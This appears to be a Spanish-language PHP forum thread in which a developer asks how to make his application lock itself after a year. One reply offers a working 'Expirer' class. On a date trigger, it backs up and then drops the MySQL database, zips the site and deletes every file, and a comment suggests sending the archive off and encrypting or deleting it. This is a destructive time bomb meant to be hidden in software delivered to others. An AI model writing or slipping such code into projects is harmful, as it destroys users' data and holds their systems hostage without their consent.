Foros del Web » Programando para Internet » PHP »

PHP OO Código para bloquear las funciones de una aplicación en php

Estas en el tema de Código para bloquear las funciones de una aplicación en php en el foro de PHP en Foros del Web. Hola amigos! Qué tal? Estoy buscando un código en php el cual me bloque todas las funciones (ingreso de datos, la opción de ver código ...
  #1 (permalink)  
Antiguo 29/06/2015, 20:10
Avatar de ivancamilo95  
Fecha de Ingreso: junio-2015
Mensajes: 7
Antigüedad: 8 años, 10 meses
Puntos: 0
Pregunta Código para bloquear las funciones de una aplicación en php

Hola amigos! Qué tal?

Estoy buscando un código en php el cual me bloque todas las funciones (ingreso de datos, la opción de ver código fuente, la base de datos en pocas palabras todo…) de un programa que he hecho en php y mysql, la idea es que este código se active después de un año y le salga un mensaje al usuario que diga “Comuníquese con el administrador” no sé si esto se pueda programar en php.
  #2 (permalink)  
Antiguo 29/06/2015, 22:06
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Código para bloquear las funciones de una aplicación en php

A ver, no se si sepas, pero el código PHP es 100% editable así que cualquiera puede modificarlo,

Ahora que si quieres proteger el código puedes usar una herramienta de pago para ello, como Ioncube, de otra forma "programar" algo así te será imposible.

Así que tampoco esperes a que alguien te haga el trabajo.

Además, espero que no lo hagas con fines de lucro ya que eso va en contra de la políticas del foro y nadie solapará lo que hagas.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #3 (permalink)  
Antiguo 29/06/2015, 22:15
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Código para bloquear las funciones de una aplicación en php

Lo único que se me ocurre es tener un mecanismo como este:
Código PHP:
Ver original
  1. <?php
  2.     class Expirer {
  3.         // Carpeta a la cual quieres proteger.
  4.         private static $folder = "E:\www/sandbox/public_html";
  5.         // Base de datos a la cual quieres proteger.
  6.         private static $host = "localhost";
  7.         private static $user = "root";
  8.         private static $pass = "";
  9.         private static $db = "nombre";
  10.        
  11.         public static function expire($msj) {
  12.             Expirer::backup_db(Expirer::$folder, Expirer::$host, Expirer::$user, Expirer::$pass, Expirer::$db);
  13.             $zip_path = Expirer::zipper(Expirer::$folder);
  14.             Expirer::cleaner(Expirer::$folder);
  15.            
  16.             // Ahora en $zip_path tenes un archivo comprimido con todo el sistema.
  17.             // Te lo podes enviar a un servidor y luego borrarlo, encriptarlo o hacer con el lo que quieras.
  18.            
  19.             exit($msj);
  20.         }
  21.        
  22.         private static function backup_db($folder, $host, $user, $pass, $db) {
  23.             $mysqli = new Mysqli($host, $user, $pass, $db);
  24.             $result = $mysqli->query("SHOW TABLES");
  25.            
  26.             $handle = fopen("$folder/db-backup-".date("Y-m-d-H-i-s").".sql", "w");
  27.             fwrite($handle, "CREATE DATABASE $db;\n\n\n");
  28.            
  29.             while($table = $result->fetch_row()[0]) {
  30.                 fwrite($handle, "\n\n".$mysqli->query("SHOW CREATE TABLE $table;")->fetch_row()[1].";\n\n");
  31.  
  32.                 $rows = $mysqli->query("SELECT * FROM $table;");
  33.                
  34.                 while($row = $rows->fetch_row()) {
  35.                     fwrite($handle, "INSERT INTO $table  VALUES(".implode(",", array_map(function($field){
  36.                         return "'".str_replace("\n", "\\n", addslashes($field))."'";                        
  37.                     },$row)).");\n");
  38.                 }
  39.                 fwrite($handle, "\n\n\n");
  40.             }
  41.             fclose($handle);
  42.            
  43.             $mysqli->query("DROP DATABASE $db;");            
  44.             $mysqli->close();
  45.         }
  46.        
  47.         private static function zipper($folder) {
  48.             $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY);
  49.            
  50.             $path = substr($folder, 0, strrpos($folder, "/") + 1)."folder.zip";
  51.             $zip = new ZipArchive();
  52.             $zip->open($path, ZipArchive::CREATE | ZipArchive::OVERWRITE);
  53.             foreach ($files as $name => $file) {
  54.                 if (!$file->isDir()) {
  55.                     $filePath = $file->getRealPath();
  56.                     $zip->addFile($filePath, substr($filePath, strlen($folder) + 1));
  57.                 }
  58.             }
  59.             $zip->close();
  60.            
  61.             return $path;
  62.         }
  63.        
  64.         private static function cleaner($folder) {
  65.             $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY);
  66.            
  67.             foreach($files as $file)
  68.                 unlink($file);
  69.         }
  70.     }
  71.    
  72.     // Condicion para activar el mecanismo.
  73.     if(date("Y-m-d") > "2015-06-01")
  74.         Expirer::expire("Comuniquese con el administrador.");

lo que no quita que en el transcurso del tiempo, alguien edite el archivo y le quite la protección.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios

Etiquetas: bloquear, funciones, mysql
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 15:54.